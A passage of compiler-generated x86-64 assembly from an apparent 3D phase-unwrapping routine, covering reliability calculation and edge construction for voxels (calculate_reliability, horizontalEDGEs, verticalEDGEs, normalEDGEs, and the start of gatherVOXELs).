mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
mov rcx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rcx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -132[rbp]
movsx rcx, edx
sub rax, rcx
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
movsx rcx, eax
mov rax, rdx
sub rax, rcx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L153:
add QWORD PTR -128[rbp], 64
add QWORD PTR -120[rbp], 8
add DWORD PTR -140[rbp], 1
.L152:
mov eax, DWORD PTR -172[rbp]
sub eax, 1
cmp DWORD PTR -140[rbp], eax
jl .L154
sub QWORD PTR -128[rbp], -128
add QWORD PTR -120[rbp], 16
add DWORD PTR -144[rbp], 1
.L151:
mov eax, DWORD PTR -176[rbp]
sub eax, 1
cmp DWORD PTR -144[rbp], eax
jl .L155
.L156:
nop
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size calculate_reliability, .-calculate_reliability
.globl horizontalEDGEs
.type horizontalEDGEs, @function
horizontalEDGEs:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 72
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov DWORD PTR -52[rbp], edx
mov DWORD PTR -56[rbp], ecx
mov DWORD PTR -60[rbp], r8d
mov QWORD PTR -72[rbp], r9
mov rax, QWORD PTR -48[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -72[rbp]
mov eax, DWORD PTR 20[rax]
mov DWORD PTR -20[rbp], eax
mov DWORD PTR -32[rbp], 0
jmp .L158
.L164:
mov DWORD PTR -28[rbp], 0
jmp .L159
.L163:
mov DWORD PTR -24[rbp], 0
jmp .L160
.L162:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L161
mov rax, QWORD PTR -8[rbp]
add rax, 64
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L161
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov rax, QWORD PTR -8[rbp]
lea rdx, 64[rax]
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov rax, QWORD PTR -8[rbp]
add rax, 64
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
mov rax, QWORD PTR -8[rbp]
add rax, 64
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -16[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -16[rbp], 32
add DWORD PTR -20[rbp], 1
.L161:
add QWORD PTR -8[rbp], 64
add DWORD PTR -24[rbp], 1
.L160:
mov eax, DWORD PTR -52[rbp]
sub eax, 1
cmp DWORD PTR -24[rbp], eax
jl .L162
add QWORD PTR -8[rbp], 64
add DWORD PTR -28[rbp], 1
.L159:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -56[rbp]
jl .L163
add DWORD PTR -32[rbp], 1
.L158:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L164
mov rax, QWORD PTR -72[rbp]
mov eax, DWORD PTR 8[rax]
cmp eax, 1
jne .L165
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
lea rdx, -64[rax]
mov rax, QWORD PTR -40[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -32[rbp], 0
jmp .L166
.L170:
mov DWORD PTR -28[rbp], 0
jmp .L167
.L169:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L168
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L168
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
add rdx, rax
mov rax, QWORD PTR -16[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -8[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -16[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -52[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -8[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -8[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -16[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -16[rbp], 32
add DWORD PTR -20[rbp], 1
.L168:
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 6
add QWORD PTR -8[rbp], rax
add DWORD PTR -28[rbp], 1
.L167:
mov eax, DWORD PTR -28[rbp]
cmp eax, DWORD PTR -56[rbp]
jl .L169
add DWORD PTR -32[rbp], 1
.L166:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -60[rbp]
jl .L170
.L165:
mov rax, QWORD PTR -72[rbp]
mov edx, DWORD PTR -20[rbp]
mov DWORD PTR 20[rax], edx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size horizontalEDGEs, .-horizontalEDGEs
.globl verticalEDGEs
.type verticalEDGEs, @function
verticalEDGEs:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 88
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov DWORD PTR -68[rbp], edx
mov DWORD PTR -72[rbp], ecx
mov DWORD PTR -76[rbp], r8d
mov QWORD PTR -88[rbp], r9
mov rax, QWORD PTR -88[rbp]
mov eax, DWORD PTR 20[rax]
mov DWORD PTR -28[rbp], eax
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -68[rbp]
imul eax, DWORD PTR -72[rbp]
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR -24[rbp]
sub eax, DWORD PTR -68[rbp]
mov DWORD PTR -20[rbp], eax
mov DWORD PTR -40[rbp], 0
jmp .L172
.L178:
mov DWORD PTR -36[rbp], 0
jmp .L173
.L177:
mov DWORD PTR -32[rbp], 0
jmp .L174
.L176:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L175
mov eax, DWORD PTR -68[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L175
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, DWORD PTR -68[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov eax, DWORD PTR -68[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -8[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -68[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -8[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -8[rbp], 32
add DWORD PTR -28[rbp], 1
.L175:
add QWORD PTR -16[rbp], 64
add DWORD PTR -32[rbp], 1
.L174:
mov eax, DWORD PTR -32[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L176
add DWORD PTR -36[rbp], 1
.L173:
mov eax, DWORD PTR -72[rbp]
sub eax, 1
cmp DWORD PTR -36[rbp], eax
jl .L177
mov eax, DWORD PTR -68[rbp]
cdqe
sal rax, 6
add QWORD PTR -16[rbp], rax
add DWORD PTR -40[rbp], 1
.L172:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -76[rbp]
jl .L178
mov rax, QWORD PTR -88[rbp]
mov eax, DWORD PTR 12[rax]
cmp eax, 1
jne .L179
mov eax, DWORD PTR -24[rbp]
cdqe
mov edx, DWORD PTR -68[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L180
.L184:
mov DWORD PTR -36[rbp], 0
jmp .L181
.L183:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L182
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L182
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -8[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -8[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -8[rbp], 32
add DWORD PTR -28[rbp], 1
.L182:
add QWORD PTR -16[rbp], 64
add DWORD PTR -36[rbp], 1
.L181:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L183
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
add QWORD PTR -16[rbp], rax
add DWORD PTR -40[rbp], 1
.L180:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -76[rbp]
jl .L184
.L179:
mov rax, QWORD PTR -88[rbp]
mov edx, DWORD PTR -28[rbp]
mov DWORD PTR 20[rax], edx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size verticalEDGEs, .-verticalEDGEs
.globl normalEDGEs
.type normalEDGEs, @function
normalEDGEs:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 88
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov DWORD PTR -68[rbp], edx
mov DWORD PTR -72[rbp], ecx
mov DWORD PTR -76[rbp], r8d
mov QWORD PTR -88[rbp], r9
mov rax, QWORD PTR -88[rbp]
mov eax, DWORD PTR 20[rax]
mov DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -68[rbp]
imul eax, DWORD PTR -72[rbp]
mov DWORD PTR -28[rbp], eax
mov eax, DWORD PTR -68[rbp]
imul eax, DWORD PTR -72[rbp]
mov edx, DWORD PTR -76[rbp]
imul eax, edx
mov DWORD PTR -24[rbp], eax
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -16[rbp], rax
mov eax, DWORD PTR -32[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -24[rbp]
sub eax, DWORD PTR -28[rbp]
mov DWORD PTR -20[rbp], eax
mov DWORD PTR -44[rbp], 0
jmp .L186
.L192:
mov DWORD PTR -40[rbp], 0
jmp .L187
.L191:
mov DWORD PTR -36[rbp], 0
jmp .L188
.L190:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L189
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L189
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -8[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -28[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -8[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -8[rbp], 32
add DWORD PTR -32[rbp], 1
.L189:
add QWORD PTR -16[rbp], 64
add DWORD PTR -36[rbp], 1
.L188:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L190
add DWORD PTR -40[rbp], 1
.L187:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -72[rbp]
jl .L191
add DWORD PTR -44[rbp], 1
.L186:
mov eax, DWORD PTR -76[rbp]
sub eax, 1
cmp DWORD PTR -44[rbp], eax
jl .L192
mov rax, QWORD PTR -88[rbp]
mov eax, DWORD PTR 16[rax]
cmp eax, 1
jne .L193
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -56[rbp]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -40[rbp], 0
jmp .L194
.L198:
mov DWORD PTR -36[rbp], 0
jmp .L195
.L197:
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L196
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx eax, BYTE PTR 24[rax]
test al, al
jne .L196
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR -16[rbp]
mov QWORD PTR 8[rax], rdx
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rdx, rax
mov rax, QWORD PTR -8[rbp]
mov QWORD PTR 16[rax], rdx
mov rax, QWORD PTR -16[rbp]
movsd xmm1, QWORD PTR 16[rax]
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 16[rax]
addsd xmm0, xmm1
mov rax, QWORD PTR -8[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, DWORD PTR -20[rbp]
cdqe
sal rax, 6
neg rax
mov rdx, rax
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movsd xmm0, QWORD PTR 8[rax]
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 8[rax]
movapd xmm1, xmm0
movq xmm0, rax
call find_wrap
mov rdx, QWORD PTR -8[rbp]
mov DWORD PTR 24[rdx], eax
add QWORD PTR -8[rbp], 32
add DWORD PTR -32[rbp], 1
.L196:
add QWORD PTR -16[rbp], 64
add DWORD PTR -36[rbp], 1
.L195:
mov eax, DWORD PTR -36[rbp]
cmp eax, DWORD PTR -68[rbp]
jl .L197
add DWORD PTR -40[rbp], 1
.L194:
mov eax, DWORD PTR -40[rbp]
cmp eax, DWORD PTR -72[rbp]
jl .L198
.L193:
mov rax, QWORD PTR -88[rbp]
mov edx, DWORD PTR -32[rbp]
mov DWORD PTR 20[rax], edx
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size normalEDGEs, .-normalEDGEs
.globl gatherVOXELs
.type gatherVOXELs, @function
gatherVOXELs:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -24[rbp], rax
mov DWORD PTR -48[rbp], 0
jmp .L200
.L209:
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 8[rax]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR 16[rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov rdx, QWORD PTR 40[rax]
mov rax, QWORD PTR -16[rbp]
mov rax, QWORD PTR 40[rax]
cmp rdx, rax
je .L201
